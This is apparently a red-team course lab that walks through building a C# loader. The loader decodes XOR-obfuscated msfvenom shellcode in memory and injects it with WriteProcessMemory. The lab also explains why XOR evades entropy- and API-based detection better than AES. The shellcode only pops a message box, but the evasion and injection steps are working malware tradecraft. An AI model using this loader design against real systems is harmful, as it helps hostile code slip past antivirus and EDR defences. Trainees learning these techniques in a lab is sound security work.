Lab - XOR Loader

IMPORTANT : Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

XOR vs AES Encoding: Evasion Summary

Let's make our loader more evasive by encoding our payload with XOR. Why not AES? XOR maintains lower entropy levels and simpler implementation, reducing detection signatures, while AES increases entropy significantly and requires additional crypto libraries that can be monitored by EDR solutions. Additionally, AES will increase Entropy (level of randomness) which you want to avoid - High Entropy (>7) is very often used as an indicator of potential malicious code, whereas XOR keeps entropy lower and blends better with legitimate software patterns.

Evasion Effectiveness Comparison

Evasion FactorXORAESAdvantage
Entropy Level🟢 Low (stays under 7.0 threshold)🔴 High (often triggers >7.0 detection)XOR
API Footprint🟢 No crypto API calls needed🟠 Requires CryptAPI monitoringXOR
Static Signatures🟠 Simple patterns, easily signatured🟢 Complex implementation varietiesAES
Behavioral Detection🔴 Obvious decode loops flagged🟢 Blends with legitimate crypto usageAES
Memory Footprint🟢 Minimal additional libraries🔴 Loads detectable crypto librariesXOR
Implementation Complexity🟢 Simple, fewer detection points🔴 Complex, more monitoring surfacesXOR
False Positive Rate🔴 Low (engines trained against XOR)🟢 Higher (legitimate crypto confusion)AES
Obfuscation Adaptability🟠 Requires heavy modification🟢 Better baseline stealth optionsAES
Performance Impact🟢 Minimal overhead🟠 Higher computational costXOR
Overall Evasiveness🟠 MODERATE🟢 BETTERAES

Legend: 🟢 = Best/Low Risk | 🟠 = Moderate | 🔴 = Worst/High Risk

Key Insight: While XOR offers simplicity and low entropy, modern EDRs have adapted. AES provides better overall evasion through legitimacy and complexity, despite higher entropy concerns.

AspectXORAES
LegitimacyCommonly used by legitimate software (e.g., Microsoft Office VBA macros)Used by legitimate software, but also frequently by malware
API FootprintSimple operation, no additional libraries or specific Windows API calls requiredCalls specific Windows API functions that can be monitored by EDR solutions
Memory FootprintLess conspicuous, no additional libraries loaded in memoryLoads specific AES libraries in memory, detectable by EDR solutions
Entropy ImpactMaintains lower entropy levels, avoiding high entropy detection (>7.0)Increases entropy significantly, triggering entropy-based detection rules
Static DetectionHIGH - Simple patterns heavily signatured by modern AV/EDRMEDIUM - More complex to signature due to implementation variety
Behavioral DetectionHIGH - Obvious decode loops flagged by behavioral enginesLOW - Common in legitimate software, blends with normal crypto usage
False PositivesRARE - Modern engines trained to ignore benign XOR usageHIGHER - Legitimate crypto operations can trigger alerts
Evasion AdaptabilityMODERATE - Detection evaded by obfuscating decode logicHIGHER - Better baseline stealth, more modification options
Implementation ComplexitySimple XOR operation, minimal code requiredMore complex implementation, requires additional dependencies
Performance OverheadMinimal processing overheadHigher computational overhead

OVERVIEW SOURCE CODE

SOURCE CODE LOCATION: "C:\THEV\Labs\XORLoader\XORLoader.sln"
                        ├── XORLoader.cs   ->   Our main program
                        ├── GetShellcode.cs 
                        └── ShellcodeDecoder.cs -> a new class for handling XOR decryption

LAB WORKING DIRECTORY: "C:\THEV\Labs\Lab_XORLoader"
                        ├── msf_msgbox.bin
                        └── XOR_enc_str_file.exe

LAB SOLUTION: "C:\THEV\Labs\Lab_XORLoader\SOLUTION" -> In case you get stuck,
this has all the proper code, shellcode and binaries.

LAB EXERCISE TASKS

StepActionDescription
1.Turn Defender ONWe want to see if our POC code gets detected
2.Create a new payloadGenerate our XOR encoded payload, using msfvenom
3.Modify our loaderAdd XOR de-obfuscation functions
4.Compile and do some forensicsCheck if our loader flags any signatures (detected?)

1. Turn Defender ON

IMPORTANT : Make sure Windows Defender is turned ON!!!

Check if Defender is turned ON by running the checkav.ps1 script:

  • Open a powershell prompt as Administrator:
c:\thev\labs\powershell\av_check.ps1

image

  • If Defender is turned OFF - run the following script to turn it ON:
c:\thev\labs\powershell\av_enable.ps1

image


2. PREPARATION : Generating a XOR encrypted payload (bye array)

There are 4 steps required for to create a XOR encrypted payload:

  1. Generate a binary (raw) payload with MSFVenom,
  2. Define a XORKEY - don't use a single-byte key, those are easily bruteforced by AV/EDR,
  3. XOR encrypt the binary data of the shellcode,
  4. Convert the XOR encrypted data to a C# byte array (remember our C# expects the data in "0x00,0x00 ..." format).

First let's create a binary MSFVenom shellcode payload that pops the same messagebox as before.

  • On your Kali machine, open a terminal and generate a dialog box shellcode in raw format, (we have installed the metasploit framework on it for purposes of generating some simple payloads):
cd /opt/Havoc/payloads
msfvenom -a x64 --platform windows -p windows/x64/messagebox TEXT="Successful Execution :)" TITLE="CrimsonCORE" -f raw -o msf_msgbox.bin
cat msf_msgbox.bin

image

  • On your kali open a terminal:
cd /opt/Havoc/payloads
updog2

image

  • Use chrome to surf to http://kali:9090 and right-click on msf_msgbox.bin , select Save link as and save it to C:\THEV\Labs\Lab_XORLoader

image

NOTE: If you want raw shellcode don't use "-b '\x00\x0a\x0d\x20'" as this will apply XOR encoding and add a XOR-decoder stub to your shellcode. This means the shellcode will self modify when executed and this has consequences on the PAGE permissions in memory (RWX required for self modifying code!!!)

Now let's XOR-obfuscate the msf_msgbox.bin raw shellcode with a tool we wrote ourselves - "XOR_enc_str_file.exe" - which will take any file, a XOR key (use mysecretkey), XOR-obfuscate it and output a C# byte array, that we can embed in our XORLoader.cs program.

cd \THEV\Labs\Lab_XORLoader
.\XOR_enc_str_file.exe msf_msgbox.bin mysecretkey

image

Open the "encoded_output.cs" file to see the XOR-obfuscated C# byte array and copy this in the "GetShellcode.cs" function, or just copy it from your console (the part marked in red).

3. MODIFY OUR BASICLOADER

There are several changes we need to make in our BasicLoader project to accommodate the XOR obfuscation:

  1. Add the XOR obfuscated shellcode to our loader "GetShellcode.cs" function.
  2. Add a new class ("ShellCodeDecoder.cs") that provides a new function that de-obfuscates our XOR encoded shellcode.
  3. Define a xorkey that matches with the key we used to encode our shellcode (string xorkey = "mysecretkey")
  4. Modify the loader to use the XOR decryption function. So we need to add a line to "XORLoader.cs" to call our de-obfuscation function - ShellcodeDecoder.Decode(shellCode, xorkey)
  5. Change the WriteProcessMemory to use the DecodedShellCode.

Below is a screenshot of the final code after all modifications have been made, without the verbose printing to the screen:

image

NOTE: Don't panic when you see the code, there are a lot more lines - but they are actually just prints to the screen so we can follow the process of our XORLoader, and press "any" key to continue to the next step. The actual code without the verbose printing to the screen is shown above in the screenshot

You'll see a bunch of these, they are not important for the functioning our our loader, but just help us see (and troubleshoot if necessary) what's happening under the hood:

image

STEP 1 - Add your XOR obfuscated shellcode to the loader

  • Open "C:\THEV\Labs\XORLoader\XORLoader.sln" with Visual Studio 2019.

  • In Visual Studio 2019, go to the solution explorer (pane on the right), click on the "GetShellcode.cs" file and double-click to open it. Paste your XOR obfuscated byte array in the "GetShellcode.cs" function.

image

STEP 2 - Add a new class ("ShellCodeDecoder.cs")

  • Create a new class file in Visual Studio called ShellcodeDecoder.cs by right-clicking on the project RemoteLoaderin the Solution Explorer, selecting "Add" -> "Class...", and naming it ShellcodeDecoder.cs.

image

image

public static class ShellcodeDecoder
{
    public static byte[] Decode(byte[] shellCode, string xorKey)
    {
        // XOR Decoding process
        byte[] DecodedShellCode = new byte[shellCode.Length];
        for (int i = 0; i < shellCode.Length; i++)
        {
            DecodedShellCode[i] = (byte)(shellCode[i] ^ xorKey[i % xorKey.Length]);
        }

        return DecodedShellCode;
    }
}
  • Delete the sample code provided by visual studio and replace it with the code above:

Your ShellCodeDecoder function should look like this:

image

Summary of C# XOR Decryption Code

  • Purpose: Decrypts a shellCode byte array using XOR with a key ("mysecretkey") and converts the result to a hexadecimal string.

  • XOR Decryption:

    • Iterates through shellCode, XORing each byte with a byte from xorKey (repeating the key as needed).
    • Stores decrypted bytes in DecodedShellCode.
  • Output: A comma-separated hexadecimal string.

IMPORTANT: When using XOR encoding (or encryption), the output length in bytes always equals the input length because XOR is a direct, byte-for-byte transformation. If you use AES, the output length will be larger due to the nature of AES, AES (block cipher) often increases output length due to padding (e.g., 100 bytes → 112 bytes with PKCS#7 padding).

image

STEP 3 - Define a new variable xorkey

  • Right under Section "(2) Get a handle to the current process" add xorkey, a new variable (contains the XOR key used for decryption), just paste it like shown in the screenshot below.
            // XOR key 

            string xorkey = "mysecretkey";

image

STEP 4 - Modify the loader to call the ShellCodeDecoder function

  • Under the xorkey you just defined, add DecodedShellCode, a new byte array`** that will be populated with XOR decrypted shellCode, by submitting the XOR encrypted shellcode to our ShellCodeDecoder function, which will return the decrypted byte array, just paste it like shown in the screenshot below. The ConsoleWriteline statements are not really important, they just print the output to the screen so we can follow the process.
            // (3) XOR Decoding process

            byte[] DecodedShellCode = ShellcodeDecoder.Decode(shellCode, xorkey);

            // Print the XOR decoded shellcode to the screen

            Console.WriteLine("[-] Print XOR decoded shellcode to screen... ");
            byte[] DecodedFirst16 = new byte[Math.Min(DecodedShellCode.Length, 16)];
            Array.Copy(DecodedShellCode, 0, DecodedFirst16, 0, DecodedFirst16.Length);
            WriteColored(($"[+]    Shellcode First 16 bytes: " + BitConverter.ToString(DecodedFirst16).Replace("-", " ")), ConsoleColor.Green);
            WriteColored(($"[+]    Shellcode size: " + DecodedShellCode.Length + " Bytes (" + (DecodedShellCode.Length / 1024.0).ToString("F2") + " KB)"), ConsoleColor.Green);
            WriteColored(($"---> Press Any Key to continue"), ConsoleColor.Red);
            Console.ReadKey();
            Console.WriteLine("[-] Allocating memory region with RWX permission for XOR decoded shellcode... ");

image

STEP 5 : Change the WriteProcessMemory to use the DecodedShellCode

Next is making sure we place the decoded shellcode in memory, our original loader just took the provided (clear-text) shellcode stored in the shellCode array - we need to change this to our decoded payload (DecodedShellCode) of course, or our loader will just crash as the shellcode is still XOR obfuscated. The shellcode.Length can remain as XOR-ing doesn't change the length of the array.

  • Change the WriteProcessMemory call to use the DecodedShellCode by renaming shellCode to DecodedShellCode like shown in the screenshot below:
bool result = WriteProcessMemory(hProcess, funcAddr, DecodedShellCode, (uint)DecodedShellCode.Length, out bytesWritten);

image

Your code should look like this:

image

NOTE: A nice bonus of having a XOR Decryption function in our loader is that not only can we use it to decrypt our shellcode, but we will use this later on also to obfucate strings in our code (i.e. VirtualAlloc, CreateThread etc...) - and there's another bonus to doing that but we'll see that in the "Emulation Evasion" module.

4. Compile your code and run some forensics

  • Now save both files files (BasicLoaderMod.cs and GetShellcode.cs) and build the solution.

image

Your build should succeed without any errors. You can find the compiled assembly in the output directory ("C:\THEV\Labs\XORLoader\XORLoader\bin\x64\Release").

  • You can anylyze your newly built loader with gocheck, PEStudio, Litterbox and CAPA if you have time left - just follow the same steps as in the previous labs (Chapter 1.10.3.1.2- Lab Forensics of the P/INVOKE Loader).

CLEANSCAN REPORT: https://kleenscan.com/scan_result/f86c08ed7b052b96a6442ec1fc6bd365f02ab912f65a53b60d57c4d7bb893f21

image

image

  • Copy your XORLoader.exe to the desktop and execute it.

You can clearly see the XOR obfuscation in action. The initial shellcode is XOR encrypted, we then see the decryption happening in memory, and after injecting it into memory we see the byte array (DecodedShellCode) being cleared

image